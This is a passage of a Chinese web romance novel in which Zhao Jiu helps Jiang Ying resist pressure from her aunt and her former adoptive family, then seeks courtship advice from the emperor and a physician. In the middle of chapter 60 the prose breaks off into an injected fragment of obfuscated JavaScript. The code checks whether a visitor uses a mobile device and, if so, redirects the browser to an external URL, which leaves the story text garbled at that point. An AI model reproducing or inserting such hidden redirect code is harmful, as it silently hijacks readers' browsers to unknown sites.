赵咎不以为然,“不用管他。”每次都是雷声大雨点小,他早就习惯了。
身为家里最小的那一个,不止王氏和赵太后等女眷疼爱,就连赵咨和赵哲兄弟俩也对弟弟颇为纵容。
要不然,他怎么会干出当街抢亲这种事儿?
姜璎欲言又止。
赵咎道:“想说什么就说,这么看我做什么?我们之间还需要有秘密吗?还是说,你很怕我?”
姜璎鼓起勇气道:“我觉得赵九郎君好像并不害怕世子。”
你是不是在骗我呀?
赵咎读懂了姜璎的未尽之言,忽然正色道:“那是因为有你在场,不然我可不敢这样放肆。”
得。
又开始装起来了。
归南眼观鼻鼻观心,假装什么都不知道。
姜璎半信半疑,“我的面子有这么大吗?”
赵咎岔开话题,“你想不想知道是谁谋害大嫂?”
顿时,姜璎不再纠结其他,眼睛一眨不眨地盯着赵咎,“是谁?”
牵扯到这种事情,她就立马从小羔羊变成小刺猬,恨不得用浑身上下长满的刺挡在王氏面前。
对姜璎而言,王氏远比梁女君这个姨母更值得信任依赖,她在姜璎最仿徨的时候出现,端庄温柔的形象完全满足了姜璎幻想中的母亲这个角色。
从某种意义上来说,她把面对刘氏时而有所保留的情感,全都灌注给了王氏。
她在王氏身上感觉到了一种来自母性的安全感。
这是赵咎所不能带给她的。
赵咎心里酸溜溜,但也没说什么,而是三言两语把幕后主使简单讲述一遍。
王家老夫人一共育有五子,其中三子夭折,五子外放,二子四子高不成低不就。
不同于大房人口简单,只有一儿一女,二房光嫡出就有三子二女,其中长女远嫁,二夫人便将嫡幼·女视若珍宝,为她千挑万选好夫婿,备足丰厚嫁妆。
只可惜,王六姑娘心中早就藏了一个人。
“那个人,不会是世子吧?”姜璎大为震惊,只要不碰上某些事儿,她的脑袋瓜子还是很灵光的。
赵咎微微颔首,王家二房会做出这种事情,确实让人出乎意料。
琅琊王氏虽说不比往日荣光,但也是名门望族。
续弦姨妹,这样的事儿别说让人笑话,就是赵家主动上门提起,恐怕都要被王老夫人一番痛斥,赶出门去。
赵咎一开始没往王氏娘家上面想,也是这个原因。
加上上辈子,大嫂流产之后身子大亏损,紧接着又是父亲死讯传来,大哥遭遇不测……卫国公府宛如风中残
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烛,摇摇欲坠,要不是宫里还有赵太后,只怕早就撑不下去。
如此情形,王家二房自然打消了歪心思。
续弦一事不了了之,任凭旁人如何猜测,也不会把王氏病故身亡的原因往她娘家身上想。
就连赵咎,也以为大嫂是在多番打击之下才猝然离世。
“照这么说,他们还收买了宫中的王医官?”姜璎问道,其实心里已经有了答案。
王医官是琅琊王氏的族人,别人都觉得他一定会对王氏尽心尽力,谁能想到他会在王氏脉案上动手脚啊?
姜璎气得脸都红了:“太可恶了!”
差一点,差一点世子夫人就要出意外……
赵咎见她这么激动,安抚道:“这不是还好有你在吗,大嫂如今也好好的,别生气了。”
“不行!绝不能放过他们!”直到现在,姜璎只要一想起那日王氏倒在地上,身下血流不止的画面,就忍不住心悸慌乱。
赵咎道:“你放心,大兄肯定不会放过他们的。”
她给王氏打抱不平的时,神情气愤,眼眸如炬,是平日里极少能看到的鲜活明亮。
赵咎一时没能挪开眼。
姜璎嘟囔道:“这个王家二夫人,也太歹毒了,没见过这么溺爱孩子……”
话音戛然而止。
她想到了刘氏。
眼神在顷刻有了怯意,她闪躲着目光,小声道:“赵九郎君,我能不能问问……”
“你说。”赵咎尽可能让自己看起来温柔,就算比不上大嫂,但总不至于让她连话都不敢说吧?
姜璎小声问:“那日宴会之后,姜宝瑜怎么样了?”
虽然说姜承祁当时保证会把姜宝瑜送到老家乡下,但……
永安侯府真的会惩罚姜宝瑜吗?
就算姜承祁舍得,刘氏也不会愿意吧?
提到那日宴会,赵咎面色有一瞬阴沉,但很快调整过来,“刘氏陪同姜宝瑜去了乡下老家养病,梁女君没给她们留半点情面,直接让人把刘氏母女二人的所作所为公之于众。”
这下一来,姜宝瑜根本别想在盛京寻到一门好亲事。
第60章 引导
听到梁女君也有出力,姜璎心里生出一点别扭,在她尚未适应这个多出来的亲人的时候,她就已经准备将她护在羽翼之下了吗?
心里说不出是什么感觉,似久旱逢甘霖,老天掉馅饼,又忍不住怀疑这天底下的好事儿怎么会都落在她头上。
姜璎满腹心事,一抬头,就见赵咎直直盯着她看。
她卡壳了一下,想起来是自己起的头,结果问完就不吭声了,连忙补救道:“要是姜宝瑜一直不回来,那就再好不过了。”
赵咎淡淡道:“她就算不回来,我也会想办法把她弄回来。”
姜璎愣了一下。
赵咎捏了捏她的白如珍珠的耳垂,语气近似调笑,但眼神却没有一丝笑意。
“常六不是心心念念惦记她吗?不为别的,就为常六的这份痴情,哪怕姜宝瑜**埋了,我都会让人把她挖出来,重新葬在常六的院里。”
“这也算是好事一桩吧?”他低头凑近,笑盈盈地看着姜璎,“阿池,你说对不对?”
突如其来的逼近,令姜璎脑子宕机一瞬。
一股若有若无的梅香缠了过来,淡淡的萦绕鼻尖。
比香料单薄,又没有线香浓重,是一种……让人说不上来的感觉。
清冷,但又勾人。
有点好闻……
姜璎不自觉吞了吞口水,干巴巴道:“嗯嗯。”
赵咎眼底闪过一抹笑意,稍纵即逝,得色不显。
手指垂落自然而然握住姜璎的手腕,像是话家常,他捏了捏后道:“明明吃的和之前一样,怎么感觉还瘦了一些?”
姜璎注意力跟着转移,瘦了吗?既然赵咎这么说了,“那我晚上多吃一点。”
赵咎“嗯”了一声,又问:“晚上有没有想吃什么的菜?”
姜璎想了想道:“清蒸鱼!”她眼眸亮晶晶,“前两日的清蒸鱼好香……”
这样一想,赵咎身上的那股梅香顿时寡然无味了。
姜璎在永安侯府生活了十多年,因为刘氏不喜欢她身上沾染其他味道,故而她饮食都以清淡为主。
但赵家的清蒸鱼清淡却不失鲜美,还没有鱼腥味,姜璎吃过一次就深深爱上了。
赵咎还不知道自己被一盘鱼比了下去。
回蓼莪院的路仿佛被拉长了,他有一搭没一搭陪姜璎聊天,看似无趣的话题,实际上处处以姜璎为主。
引导她慢慢松弛自己,吐露内心最真实的喜好。
好在效果显著。
姜璎眨了眨眼睛,脸上露出了憨憨的笑容,“真的吗?那真是太好了。”
轻快的声音消散在风中。
像是终于找到归家方向的孩子。
翌日一早,姜璎用过早膳,就听说赵咨带了人登门王家。
“世子的动作真快!”姜璎夸赞道,又忍不住担忧起来,“她们要是死不承认怎么办?”
赵咎握着篆刻的小刀,低头刻字,漫不经心道:“你当大兄上门喝茶的呢?自然是先礼后兵。她们肯老实承认,给出赵家满意的交代,那这事儿就这么过去了,两家皆大欢喜。”
“要是死不承认……”他轻轻呵了一声,“总归此事闹大,损的不是赵家的颜面。他们王家下毒谋害隔房的侄女儿,按照大魏律例,可是要判流刑乃至**的。”
姜璎放下心来,也是,看昨日世子爱重世子夫人的模样,想来也不会轻易放过王家的。
她挪动了一下双腿,稍微直起身子,好奇地看着赵咎手里——一块婴儿手腕粗细的和田玉。
玉屑落了一地,长案上摆满一排篆刻的工具,一大清早,赵咎就开始捣鼓这些。
闲来无事,姜璎就跪坐一旁看他进度。
篆刻的小刀多种多样,瞧着锋利无比,姜璎生怕赵咎一不小心把手给划了,不由屏住呼吸,免得打扰到他。
她不出声,赵咎却非要和她聊天。
“这块玉,和你之前那块玉佩哪个好?”
开口就是这种致命问题。
姜璎“呃”了半天,给出了自认为滴水不漏的回答:“不管是玉质还是成色,都是赵九郎君手里这块完胜。”
“那你喜欢哪块?”
“……”姜璎安静如鸡。
自从她让人给梁女君送去书信,把玉佩要了回来,赵咎就再也没提过这事儿,她还以为翻篇了呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967757|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>没想到在这等着她。
赵咎停下手里动作,好整以暇看着她,“很难回答吗?没事儿,你说心里话,我不会生气的。”听着十分宽宏大度。
姜璎信以为真,露出了一个傻乎乎的笑容,老实巴交道:“那我还是喜欢我自己的那块。”
“哦。”
就知道是这种回答,真是自讨没趣。
不过赵咎也没死心,狐朋**说了,痴缠哭三术,虽然没面子,但管用就行。
朝夕相处,亲近勾引,不怕姜璎不动心!
他可是专门去学过的。
“姑娘。”香薷的声音打破了屋内的平静,她迟疑道,“梁女君……登门拜访,世子夫人让奴婢来问问,您是否要见。”
姜璎下意识看向赵咎。
后者嘴上大度,“你想去就去吧。”
实际上目光落在姜璎腿上,仿佛下一句就是——你敢去我打断你的腿!
姜璎摇了摇头,把诡异的想法赶出脑海。
她真是想太多了,赵九郎君怎么可能是那种人。
“我想去。”
“哦。”
赵咎强挤出一个笑容,礼貌关怀道:“要不要我陪你?”
姜璎眨了眨眼睛,没察觉出来哪里不对劲,“不用啦。”怕拒绝的太生硬,她又补充道,“赵九郎君放心,在自己家里肯定不会有事的。”
赵咎眉头一松,很难不被后面那句话取悦成功。
她真是……
太会哄人了!
某人暗自磨牙,又心酸又甜蜜。
姜璎去见了梁女君。
几日不见,梁女君并没有太大变化,原本紧绷的神经在看见姜璎脸上的笑容时,也跟着慢慢松弛下来。
“阿池。”
说起来,这不过是两人第三回见面。
不亲近,但也不生疏。
就是难免拘谨。
姜璎先说了对不起,“玉佩……我有其他用处。”她含糊解释了一句,免得梁女君以为她是在戏耍她玩儿。
梁女君并不在意玉佩,或者说,没有什么身外之物比眼前这个活生生的人更为重要。
“阿池。”她柔声道,“跟姨母走,好吗?”
第61章 破土
被卫国公府拒之门外的这几日里,梁女君也没闲着,让底下人把姜璎在永安侯府这些年的生活,事无巨细地汇报给她。
越是了解,梁女君便越是对永安侯府恨之入骨。
她原先设宴邀请刘氏母女,不过是看在刘氏的生母曾服侍母亲一场。
这粗鄙不堪的东西,生出的女儿狠毒蠢笨,便是给了机会也不中用!
也幸好不中用,否则她岂不是要害了阿池?
梁女君每每想到自己在这世上唯一的亲人,竟然会流落永安侯府,白白让刘氏糟蹋十多年,就不禁心如刀割。
她一改往日的和气,直接让丈夫出面上书朝廷,以“内宅不宁、为官无德”的由头狠狠参了永安侯,不仅罢黜了他的户部官职,更绝了姜承祁袭爵的可能。
至于刘氏母女,就永生永世待在乡下!
百倍千倍地偿还阿池吃过的苦,受过的罪!
做完这些,梁女君才算是找到机会重新登门拜访。
她是不会放任姜璎留在卫国公府的。
“阿池,姨母没有子嗣,你就是我在这世上唯一的骨肉相连的亲人,你跟姨母回去,想要什么,姨母都会给你。”梁女君柔声道。
姜璎低下头,不敢面对这殷切期望的目光。
“对不起。”她嗫嚅道,拒绝别人的好意,对她目前来说还是一件不太容易的事情,“赵九郎君救了我,还有赐婚……我不能走。”
“是不能走,还是不想走?”梁女君急忙道,“你告诉姨母,只要你想,不管是救命之恩还是赐婚,姨母都能想办法给你解决。”
姜璎愣在原地。
或许是赵咎这几天潜移默化下的影响,她不再像之前那样固执地坚定某个事实,而是开始认真思考这个问题。
她留在这里,是单纯的因为救命之恩,还是借着这个理由,满足自己想要一个家的私欲?
如果是后者……
姜璎抬起头,猝不及防撞进梁女君的目光。
盈盈泪意下,是怎么也遮不住的心疼愧疚。
宛若白玉青葱的手指因轻绞而泛白,肉眼可见的紧张期盼,给姜璎莫大压力的同时,却也为她铺就一条宽敞退路。
这样熟悉的爱意,姜璎曾因为姜宝瑜的回来,无数次在刘氏身上窥见。
她从未想过,有朝一日,这样的目光也会落在她身上。
“姨母。”姜璎轻轻唤了一声,便见梁女君忽然泪如雨下,泣不成声。
那双美丽的手哆嗦着抚摸上姜璎的面颊,又因为她接下来的话而顷刻僵住。
“赵九郎君,还有世子夫人他们对我很好很好,我想要留在这里,不止因为恩情。”姜璎认真道。
梁女君怔怔地看着她,泪光破碎,心痛得险些喘不上气来。
“那姨母呢?你不要姨母了吗?”
这话让人分外不适。
如果是之前,姜璎或许会第一时间低下头认错,但现在,在被反复灌输“姜璎,你的感受是重要的”的认知后,桎梏的内心已然出现破土嫩芽的痕迹。
她忍不住道:“如果我不离开卫国公府,是不是姨母就不要我了?”
这话说出来的那一刹那,仿佛有阳光落在焦土之上。
心里那一株不知名的嫩芽……破土而出。
蚕食的自我有了觉醒的意识。
她迈出了人生的第一步。
开始反思、质疑,一切以爱她为目的的行为,而非反复折磨自己。
梁女君的爱很明显,和永安侯府打着为她好却让她牺牲的旗号不同,所以姜璎并不怀疑。
她只是不解,为什么非要她离开卫国公府?
为她好的依据是在哪里?
还是说……
“姨母对我的爱,其实也是有要求的?”姜璎抿了抿嘴,心里不受控制地生出失落,低声道,“如果我不乖的话,姨母就会不喜欢我,不要我,是不是?”
听到这话,梁女君的心都要跟着碎了,“怎么会呢?阿池……不管你变成什么样,你都是姨母的心肝。”
你是你母亲留给我的遗物,是我的命啊!
哪怕你十恶不赦,坏
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事做尽,我都会想办法保护你一辈子!
姜璎低着头,眼眶泛红,瓮声瓮气道:“可是赵九郎君就不会一个劲地要我听话。”
虽然之前是这样,但赵咎也反思承认了自己的错误。
“他说,我的感受是最重要的,只要我有一点不舒服的念头,就绝不能让别人强迫了自己。哪怕那个人是他也一样。”
姜璎吸着鼻子,“他说,只有先学会爱自己,才能去爱别人,他还让我不要老是委屈自己,他不喜欢我委屈自己……”
一直以来,赵咎都在为她着想。
之前没有要求她牺牲自己的利益,现在也是一样。
他只让她学着重视自己的喜好,关心自己的感受。
他说:只有自己,才是最重要的。
“是姨母错了……”梁女君无声垂泪。
她太过着急,却忘了姜璎什么都不知道,如此贸然要求她离开,怎么会不伤了她的心?
梁女君愧疚得不能自已,语不成调道:“姨母、姨母只是想,你之前没有靠山,可如今不一样了,你有了正儿八经的娘家人,再这样住在卫国公府,总归不成样子。”
姜璎心头一松,也跟着道歉,“我不是故意顶撞您的……”
话未说完,就被梁女君紧紧抱在怀里。
“阿池,我的阿池……”
这是要吃多少的委屈,才会变得这样懂事。
妇人柔软的身躯如水般拥着姜璎,馨香扑面而来。
姜璎眨了眨眼睛,努力把泪意憋回去,然而,梁女君的抚摸就像是有什么魔咒,让泪珠争先恐后、大颗大颗跑出来,统统隐没衣衫。
“阿池,是姨母说错话了,姨母只想让你过去小住一段时间……”
“现在不行。”姜璎连忙摇头,小声道,“世子夫人身子不稳当,我想照顾她。”
梁女君神情一僵。
在姜璎看不见的地方,眼底渗出浓浓的怨毒之色。
有了赵咎一个还不够,就连王氏,都能牢牢抓着姜璎的心!
她来得太晚了。
第62章 苦口
姜璎好似听见一声苦涩的叹息。
心里顿时不是滋味儿。
梁女君慢慢松开姜璎,许是看出她心中愧疚,脸上勉强露出一个笑容,甚至反过来安慰道:
“傻孩子,这也没什么大不了的,你喜欢待在哪儿就待在哪儿,要是什么时候……想姨母了,派人传个信儿,姨母就来接你。”
姜璎没想到梁女君如此通情达理,连忙点点头,“嗯!”
看着如此乖巧懂事的外甥,梁女君心如刀割,离去的时候一步三回头,紧紧抓着姜璎的手舍不得松开半分。
“阿池……”
“姨母,你别哭了。”姜璎给她擦眼泪,“咱们这也不是生离死别呀。”
她说话一向轻声细语,此刻望着梁女君,微微睁圆的凤眼流露出类似幼兽的温驯,那是尚未被世俗浸染的纯粹。
梁女君心头一软,轻声道:“你说的对。”
失而复得已是最大的喜事。
至于其他,徐徐图之就是,她最不缺等待的耐心。
毕竟这些年都过来了……
姜璎目送梁女君上了牛车,正要回去跟赵咎分享此事,她今日靠自己说服了姨母,是不是也算他口中的“了不起”呢?
“阿池!”
身后忽然传来急切的呼喊。
姜璎回头看去,竟是许久未见的姜承祁。
他穿了一身藏蓝色广袖长袍,身形明显削瘦不少,脸上的憔悴怎么也遮掩不住,至于往日眉眼间的倨傲,更是不复存在。
虽说兄妹一场,但曾经的那点情分也早就被消磨殆尽。
姜璎便问:“你有什么事儿吗?”
姜承祁喉咙微微滚动,干涩得说不出话来,只哀求地望着姜璎,小心翼翼唤着她的小名。
“阿池……我们能聊聊吗?”
姜璎并不觉得他们有叙旧的必要,她是这么想的,也就这么说了。
“没怎么好聊的,我还有事,先回去了。”说着冲他礼貌地点了下头。
见状,姜承祁脸上闪过一抹慌乱,“阿池!”
他伸出手,许是拉扯到了尚未愈合的伤口,疼得倒吸一口冷气,表情痛苦万分。
姜璎脚步一顿。
香薷见势不妙,立马给边上的婢女使了个眼色,还不快去禀报九郎!
站在门口不好看,姜璎干脆让人把姜承祁领进来说话。
“你想说什么就说吧。”
她身后跟着仆婢十数人,一身短襦长裙,稀地缂丝的紫檀花清艳至极,宛若月华。
因是在家中,也没做什么打扮,只修长脖颈挂了一条赤金珍珠项链,吊坠不过指甲盖大小,却镶嵌了一颗白冰貔貅翡翠。
不张扬,但足够精致吸睛。
是郑氏以“学算账就得戴点貔貅”为由,让人给她打的吊坠链子。
姜璎微微皱眉,不是要聊吗?怎么又不说话了。
她背脊挺拔,目光不闪不躲,直直看着姜承祁,冷声道:“别想耍心思,有话就说,我没空在这陪你浪费时间。”
看着宛如变了一个人的姜璎,姜承祁心里越发不是滋味。
明明不过几日光景,却发生了翻天覆地的变化,让人难以面对现实。
姜承祁低下头道:“阿池,我一直欠你声对不起,我知道你或许已经不在意,但我还是要说……这些年,委屈你了。”
他眼眶泛红,哀哀地看着姜璎,希望她能说点什么。
姜璎慢吞吞“哦”了一声,眼神不解,仿佛在说:说完了然后呢?
事情已经发生,伤害也早就造成。
她不知道这声对不起的意义在哪里,是单纯想让自己心里好受一些?
“你明明答应过,你们永安侯府的人不会再出现我面前。君子重诺守节,你却只顾自己感受,又来打扰我的生活。”
“不是的!我来,还想告诉你,我已经把阿宝送回天水老家,往后的几年,她都会在乡下好好赎罪。”
姜承祁急急辩解,“阿池,我和阿爹都不知道阿宝是这样的,我们只想着好好弥补她,没想到她私下里的真面目如此歹毒……阿娘心里同样过意不去,她没脸见你,干脆也去乡下为你祈福。”
他小心翼翼地看着姜璎,“以前的事情,我们追悔莫及,我和阿爹只求你能给我们一个弥补的机会。”
姜璎没说话,似乎在思考什么。
姜承祁见状连忙道:“阿池,你跟我回家吧,回家好不好?阿兄保证以后百倍千倍地疼你爱你,保护你一辈子!我一定把之前欠缺的
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统统给你补上!”
姜璎琢磨过来了,“你也是来接我离开卫国公府的?”
这个“也”字耐人寻味。
如果换做之前,姜承祁或许不明所以。
但刚刚,他亲眼目睹梁女君拉着姜璎的手舍不得放开,就是因为她,父亲的官职被掳了个彻底,本该属于他的世子之位,也不翼而飞。
这个梁女君,竟然是姜璎的嫡亲姨母!
姜承祁心中不免忿然。
她既是姜璎的亲人,就该知道没有他们永安侯府,姜璎压根不可能活到现在!她不想着知恩图报也就罢了,反而倒打一耙,报复他们家!
藏在袖中的手微微捏紧。
姜承祁对姜璎好声好气,“阿池,我们才是一家人,如今阿宝和阿娘已经离开,家里只剩下我和阿爹,我们已经知道错了。”
“阿爹每日都念叨着你,头发白了大半,他常说你是家里最懂事孝顺的孩子,悔恨不该为了公务疏忽对你的关心。”
“阿池,跟阿兄回家吧。我们一家人从今往后好好的,你想要什么,阿兄都会满足你。”
同样的话,从姜承祁嘴里说出来就仿佛变了味儿。
他期盼地望着姜璎,希望她能够像以前一样心软。
“阿池,就当是为了阿爹,你回去看看他吧。他一直都很疼爱你的。”
姜璎静静看着他,“你们家的来来**永远是这几句话,真是毫无新意。”
“明明每次姜宝瑜对我做什么,都是经过你们同意的,说什么不知情,不过受伤的是我,没有损害到你们利益,所以你们睁一只眼闭一只眼,袖手旁观。”
“刘夫人是心疼姜宝瑜,陪她去的乡下,怎么到你嘴里就成了是为我祈福?真是颠倒黑白。”
“至于我想要什么,我想要你们别再出现,这很难吗?你连这点都做不到,还谈什么其他。”
姜璎目光如炬,最后总结道:“你们不是知道错了,而是利益受到侵害,知道怕了。”
“你……”姜承祁面色涨红,又急又气。
他是真心实意过来接她回家的,她不领情也就罢了,怎么能这么说?
“说得好!”赵咎不紧不慢走过来,面上挂着一抹若有若无的笑。
第63章 婆心
“赵、咎!”
看见来人,姜承祁眼中闪过一抹愤恨。
他不怪姜璎为了一个男人抛弃全家,要怪就怪赵咎!
如果不是赵咎横插一脚,他早晚会去将军府把姜璎接回来,后面的一切也就根本不会发生!
都是因为他!
“赵九郎君!”姜璎眼眸一亮,正要朝他走去,忽然一个人挡在她面前,拦住去路。
“阿池,你真的不跟我回家吗?你不知道阿爹最近被连番打击,身体每况愈下,如今眼看不大好了。若非如此,我绝不会违背诺言,来打搅你的生活。”
姜承祁动之以情、晓之以理,苦口婆心地劝说:“我答应阿爹,一定把你带回去,他如今心心念念便是见你一面,难道,你要让他连这点心愿都成为奢望吗?”
周遭突然安静下来。
姜璎下意识求助赵咎,但又及时反应过来,自己绝不能事事都依赖他人。
她敛眸沉思,永安侯好歹也曾是先帝伴读,就算真的身体抱恙,请医官的面子还是有的。
再退一万步来说,真的快不行了,也没有希望养女回去看望的道理。
姜璎自认为她在永安侯心中的分量远远及不上刘氏母女,让她回去又有什么意义?
这既不存在托孤的可能,又没有分家产的必要。
至于死到临头良心发现,想要当面认错让内心好过……听着更加不靠谱。
真正有良心的人,是不会想把养女送出去拉拢权贵的。
姜承祁以为姜璎心生动摇,不由愈发情真意切起来。
“阿池,就算阿宝和阿娘有诸多不是,他们也已经受到惩罚,我求你别迁怒阿爹,他如今失去了官职,又惨遭贬斥,就是在病中都念着你的名字!”
“就当是看在这么多年养育之情的份上,你回去见他一面,哪怕什么都不说,对他而言至少也是一个宽慰啊。”
姜璎听了半天,终于给出一点反应。
“既然侯爷病情如此严重,想来一点宽慰也起不到多大用处,你倒不如求一求赵九郎君,请邢医官为侯爷治病,这才是为人子该做的事情。”
“你说什么?”
姜承祁满脸不可置信,似乎没想到会从她嘴里听到这么一番冷血无情的话。
“我们永安侯府难道还请不起一个医官吗?阿爹得的是心病,心病还需心药医!”
“多年养育,为什么想换你一面都这么难?!”他哀戚质问,捂着手臂上隐隐作痛的伤口,面色苍白。
姜璎不为所动。
她连梁女君都拒绝了,又怎么可能被姜承祁三言两语打动?
“为什么非要见我?我是什么很重要的人吗?还是说你们的目的根本就不只见一面这么简单?”
听到这有理有据的怀疑,赵咎眼底不禁划过一抹赞赏之色。
他看着姜璎,就像是看某种不知名的嫩芽。
希望她成长,希望她昂扬。
希望她自在,希望她健康。
姜璎很好,一直都很好,只是从前没有人关注过她的内心。
赵咎希望,她可以更好地成为自己。
为此,他愿意暂时放下私心。
面对姜璎的质疑,姜承祁像是受了莫大打击,苦笑道:“我们多年兄妹,难道我就这么不值得你相信吗?”
姜璎实诚地点头,对啊。
她实在没办法去相信这前科累累的一家人。
姜承祁忍不住道:“我们好歹生活了这么多年,你不相信我还能相信谁?赵咎吗!你以为他真的为你好?他不过就是图你的美色!”
他痛心疾首,自以为用心良苦,却不曾注意到姜璎眼神顷刻冷下。
他不提赵咎,姜璎还能心平气和。
提了赵咎,那就别想好过!
“总比你们图我的命强!”姜璎冷冷道,目光不闪不躲,说完不再看姜承祁的反应,径直吩咐下人。
“香薷,送客。”
“阿池!”姜承祁着急起来,大声道,“你真的不管阿爹的死活吗?宁愿等着阿爹心病而死,也不肯回去见他一面?”
“没错。”
姜璎冷冷道:“就算他死,我都不会回去给他上香。”
姜承祁愣在原地,直到被卫国公府的下人推着离开,才如梦初醒,冲她喊道:“
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阿池!一定是赵咎蒙蔽了你!你清醒一点,你对他根本就不是男女之情!”
“你只是想报恩,但你压根不知道赵咎是个什么样的人!”
“阿池……!我是不会害……”
眼见赵咎面色阴沉如墨,下人们也不管什么尊卑礼法,直接一不做二不休堵住姜承祁的嘴,生拉硬拽给他拖了出去!
赵咎冷笑一声。
就算现在不是男女之情那又怎么样?以后的事情,谁能说的定?!
指不定以后他们三年抱俩,儿孙满堂,重孙个子比姜承祁的坟头草都要高!
忿忿然完,赵咎一转头,就见姜璎若有所思地看着自己。
她不会信了姜承祁的鬼话吧?
“我没有图你美色……”
“男女之情,是什么样的?”
两人同时开口。
赵咎愣了一下。
姜璎眨了眨眼,“赵九郎君,你方才说……美色?”
赵咎不答反问,“你刚才说什么?再说一遍。”
姜璎回忆了一下,被一打岔就想不起来了,“我什么都没说啊。”
赵咎:“……”
可恶。
好不容易有点苗头了,又给摁了回去!
姜璎,你就是块不开窍的笨木头!
看着赵咎气呼呼的背影,姜璎简直一头雾水,这是怎么了啊?
“赵九郎君,等等我!”她赶忙追了上去。
勇于表达自己的请求,也是一种进步。
赵咎放慢脚步,睨她一眼,仍旧不死心地旁敲侧击,“你刚才明明说,什么男女之情?想起来了吗?”
姜璎沉思片刻,“……好像想起来了。”
在赵咎期待的目光下,她好奇问道:“赵九郎君对我,是男女之情吗?”
赵咎:“……”
问的都是什么问题!
“不是男女之情,还能是父子之情吗?”他恨不得张牙舞爪,摇光她脑子里的水,质问一百遍你是柳下·惠转世吗?!
为什么面对这样一个俊美聪明、温柔贤惠、知错就改的年轻郎君,能都如此——不!解!风!情!
我恨。
第64章 出招
宫闱内殿,金石丝竹袅袅不绝。
烧至沸腾的茶釜“咕咕”作响,热气化白烟。
赵咎阴沉着一张俊脸,捏着茶盏的手微微用力,筋脉浮起,“我表现的还不够明显吗?难道非要像登徒子那样一脸猴急,她才能反应过来我对她是男女之情?”
从进来到现在,光是围绕这个问题,他就已经说了不下十遍。
明·惠帝听得耳朵都快起茧子了。
就这么点事儿,还非要把人拉过来开小朝会。
知道的是皇帝国舅和太医,不知道的,还以为是街上闲着没事儿四处游荡的无赖子!
“你们两个到底能不能行?”
赵咎忽然矛头直对,吓得明·惠帝一激灵,提起茶釜的手晃了一晃,差点把滚·烫热水泼自个身上。
赵咎目光怀疑地盯着明·惠帝,顺便踢了一脚旁边上下眼皮打架、偷摸打盹的刑如风,质问道:
“说好的按照你俩计划,一定大有进展,这都好几日过去了,进展在哪儿我怎么没看见?不会糊弄我的吧?”
“谁糊弄你了!”刑如风惊醒后直呼没天理,“小娘子如今跟你有说有笑,这不就是进展吗?”
明·惠帝附和道:“心急吃不了热豆腐,凡事总得循序渐进、一步一步慢慢来……”
赵咎不耐道:“再慢下去,等到拜堂成亲,她都还连男女之情没弄明白!”
“婚后再培养感情不也是一样的吗……”刑如风还没说完就又被踹了一脚,疼得他面容扭曲!
靠!
赵咎你个丧良心的!
诅咒你被姜璎吃干抹净始乱终弃!!
明·惠帝目光游移,假装什么都没看见,捧着茶盏一脸安详。
太好了,至少没人敢打皇帝。
然而,嘴巴还没沾到茶盏边沿,就遭到了赵咎的谴责质问。
“陛下,现在都什么时候了还有心思喝茶?”
“……”
“你俩赶紧给我想办法,别耽误了时辰,我一会儿可还要回去跟阿池用晚膳的。”提到姜璎,赵咎嘴角不自觉上扬,但很快,又拉了脸。
尝到一点甜头之后,是个人都没法忍受这样慢吞吞的进度。
他看着她一点点蜕变,便总是忍不住期待她情窦初开的那一天。
结果今天姜承祁的话又给了他一泼冷水。
赵咎从婚后的幻想回归现实,现在满脑子都是:
姜璎的心里什么时候才能有他?
她能分清楚亲情和男女之情吗?
他还要怎么做,才能牢牢抓住她的心?
越想越憋闷,要不是还顾面子,赵咎恨不得仰天长啸,哀嚎连连。
为什么兜兜转转,还在起·点?!
明·惠帝内心发出一声沉重的叹息,总不能真看着小舅为爱痴为爱狂为爱哐哐撞大墙。
回头把疯病传染给他怎么办?
“你前两日不是还在信里说,那梅花香饼有用?既然如此,就继续用它压衣服,然后没事儿就在姜小娘子面前晃悠。”
明·惠帝信誓旦旦,“不怕她不动心!”
刑如风见状连忙道:“对对,然后再打扮的风骚一点!知道怎么打扮吗?不然我陪你去南风院转转,我听说好多上流贵妇都喜欢那边的男人!”
赵咎捡起个橘子就往他身上砸。
还要怎么风骚?
他就差脱·光躺她床上了!
“当代柳下·惠知道吗?我就是少穿一件衣裳,她估计都能担心我着凉!”赵咎又生气又心酸。
得亏重活一回,脸面什么的都有了长进。
要不然,他怎么干得出这种勾引的事情!
这是好人家郎君该有的心计吗?!
“为爱付出不丢脸。”这点明·惠帝有发言权,他觉得赵咎至少比他强,还有个盼头,“只要你多点耐心,精诚所至,金石为开,那都是迟早的事儿。”
刑如风再度点头附和,“对啊对啊,你就是太心急了!指不定小娘子什么时候就开窍了,你俩的感情水到渠成!到时候气死姜承祁!”
赵咎被他俩编织的未来前景差点迷花了眼。
他轻咳一声,给刑如风倒了盏茶,“要不,你空了去打听打听……”
明·惠帝别过脸,顿觉唏嘘。
这要是让赵太后听到,怕是要气得当场晕厥,痛哭家门不幸。
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>儿子这样,弟弟也这样!
她老赵家的祖坟怕不是被人动手脚了!
“我这还有点其他没用过的香饼,你要不再带点回去?”明·惠帝十分慷慨,并大方分享自己的经验。
“闲着没事儿就坐小娘子边上,看书也好,写字也罢,你这姿色,随便打扮一番都能让小娘子心驰神往,要是墨迹沾到脸上,你正好凑近给她擦擦脸……”
这一下,不得心跳加快、脸红耳赤?
赵咎半信半疑,有点挂不住脸,又好奇是不是真的能成。
“你试过了,皇后什么反应?”
明·惠帝忽然卡壳了一下,儒雅风流的俊颜泛起一抹可疑的红晕。
“她……打了我一巴掌。”
顿时,赵咎和刑如风的目光齐齐聚在明·惠帝脸上,异口同声道:
“打的左脸还是右脸?”
“……左脸。”
明·惠帝忧伤道:“还骂我居心叵测。”
但他俩都是夫妻了啊,就算她心里有人,也不能一直对他视而不见吧!
赵咎看着明·惠帝的眼神多了一丝同情。
果然,人都是对比出来的。
心头的焦躁不安大大得到抚平,赵咎难得生出一点良心,安慰道:“小事,小事,皇后娘娘高兴了最重要。”
明·惠帝沉默片刻,回忆道:“**的手都是香的。”
赵咎立马道:“说明皇后娘娘根本没用力啊!她心疼你!”
